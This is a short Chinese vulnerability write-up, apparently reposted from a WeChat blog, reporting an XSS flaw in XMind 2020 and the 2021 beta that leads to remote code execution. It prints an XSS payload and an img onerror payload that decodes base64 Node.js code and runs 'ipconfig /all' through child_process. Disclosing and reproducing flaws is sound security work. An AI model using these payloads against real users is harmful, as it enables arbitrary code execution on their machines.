XMind xss漏洞&任意代码执行
XMind xss漏洞&任意代码执行
用户8478399
发布于 2022-09-22 19:16:40
发布于 2022-09-22 19:16:40
简介：
XMind是一种功能齐全的思维导图和头脑风暴工具，旨在产生想法，激发创造力，并在工作和生活中带来效率。数以百万计的用户们喜欢它。
漏洞版本：
XMind2020及2021beta版本
下载链接：
https://www.xmind.cn/download/
https://www.xmind.cn/xmind2021/beta/
漏洞复现:
Xss语句：
<audio src=x onerror=confirm("666")>位置:
远程代码执行：
<img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKICB9KTs=`,`base64`).toString())'>
这里执行ipconfig/all
本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2021-05-11，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读
目录
腾讯云开发者
